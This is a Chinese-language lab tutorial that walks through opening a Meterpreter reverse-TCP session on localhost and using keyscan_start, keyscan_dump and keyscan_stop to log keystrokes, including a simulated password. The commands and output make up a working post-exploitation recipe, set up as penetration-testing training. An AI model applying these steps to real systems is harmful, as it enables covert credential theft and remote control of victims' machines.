使用 Meterpreter 在目标系统上记录键盘输入

RedisBeginner
立即练习

引言

在本实验中,你将探索一种常见的后渗透技术:键盘记录(keystroke logging)。键盘记录,或称“keylogging”,是指记录键盘上敲击的按键的过程,通常是秘密进行的,以便键盘使用者不知道他们的操作正在被监控。在渗透测试中,这项技术对于收集敏感信息(如用户名、密码和其他机密数据)非常有价值。

我们将使用 Metasploit Framework 强大的 payload——Meterpreter 来实现这一目标。Meterpreter 有一个内置模块叫做 keyscan,它允许攻击者轻松地在受感染的系统上启动、转储和停止键盘记录器。在本实验中,你将学习如何获得一个 Meterpreter 会话,部署键盘记录器,捕获键盘输入,然后清除你的痕迹。

在目标上获得 Meterpreter 会话

在此步骤中,我们将设置 Metasploit 中的监听器并执行 payload 以获得 Meterpreter 会话。为了本实验的目的,我们将扮演攻击者和目标,都在同一台机器上。一个名为 payload.elf 的 payload 文件已为你创建在 ~/project 目录下。

首先,让我们启动 Metasploit Framework 控制台。

msfconsole -q

msfconsole 加载后,我们需要设置一个 handler 来监听来自我们 payload 的传入连接。

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

现在,使用 -j 标志将监听器作为后台作业运行。

exploit -j

你应该会看到监听器已启动。

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

现在,通过点击终端面板中的 + 图标打开一个新的终端标签页。在新标签页中,执行 payload。

./payload.elf

切换回带有 msfconsole 的第一个终端标签页。你应该会看到一条消息,表明已打开一个 Meterpreter 会话。

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38908) at 2023-10-27 10:30:00 -0400

要与这个新会话进行交互,请使用 sessions 命令。

sessions -i 1

你的提示符应该会变为 meterpreter>,表明你现在已控制目标会话。

[*] Starting interaction with 1...

meterpreter >

使用 keyscan_start 命令启动键盘记录器

在此步骤中,在 Meterpreter 会话处于活动状态时,我们将在目标机器上启动键盘记录器。用于此操作的命令是 keyscan_start。此命令会将键盘记录器注入到目标系统上的一个进程中,并开始捕获所有键盘输入。

请确保你处于 meterpreter> 提示符下。输入以下命令并按 Enter:

keyscan_start

系统将确认键盘记录器已启动。

Starting the keystroke sniffer...

记录器现在正在目标系统上静默运行,记录下每一个被按下的键。

等待用户输入信息

在此步骤中,我们将模拟用户在目标机器上输入敏感信息。由于我们的键盘记录器已激活,它将捕获此活动。

再次点击 + 图标打开一个新的终端标签页。在此新终端中,我们将模拟用户输入密码。你可以输入任何命令,但在此示例中,我们将使用 echo 来模拟输入一个秘密密码。

echo "MySuperSecretPassword123"

运行命令后,你可以关闭这个新的终端标签页。echo "MySuperSecretPassword123" 的键盘输入已被我们运行的键盘记录器捕获。返回到 Meterpreter 会话处于活动状态的终端标签页。

使用 keyscan_dump 命令转储捕获的键盘输入

在此步骤中,我们将检索键盘记录器捕获的键盘输入。keyscan_dump 命令会从目标机器获取所有记录的键盘输入,并在你的 Meterpreter 控制台中显示它们。

meterpreter> 提示符下,执行以下命令:

keyscan_dump

你将看到自键盘记录器启动以来捕获的所有键盘输入的输出。这包括你在上一步输入的命令。

Dumping captured keystrokes...

echo "MySuperSecretPassword123"

如你所见,我们在另一个终端输入的命令已被成功捕获。这演示了攻击者如何窃取用户输入的凭据、命令和其他敏感文本。

使用 keyscan_stop 命令停止键盘记录器

在此步骤中,我们将停止键盘记录器。渗透测试人员在完成渗透后清理现场至关重要,需要移除任何痕迹并停止所有正在运行的进程,使目标系统恢复原状。

要停止键盘记录器,请在你的 Meterpreter 会话中使用 keyscan_stop 命令。

keyscan_stop

系统将确认键盘记录器已停止。

Stopping the keystroke sniffer...

键盘记录器在目标机器上已不再活跃。你现在可以安全地退出 Meterpreter 会话和 msfconsole,只需输入两次 exit

总结

在本实验中,你已成功学会如何使用 Meterpreter 在目标系统上执行键盘记录。你实践了这一后渗透技术的整个生命周期,从获取会话到清理工具。

你学会了如何:

  • 使用 handler 和 payload 建立 Meterpreter 会话。
  • 使用 keyscan_start 命令在目标上启动键盘记录器。
  • 使用 keyscan_dump 转储捕获的键盘输入以查看敏感信息。
  • 使用 keyscan_stop 停止键盘记录器并清理会话。

这是一项强大的技术,突显了系统安全和监控的重要性。请记住负责任且合乎道德地使用这些技能。恭喜你完成本次实验!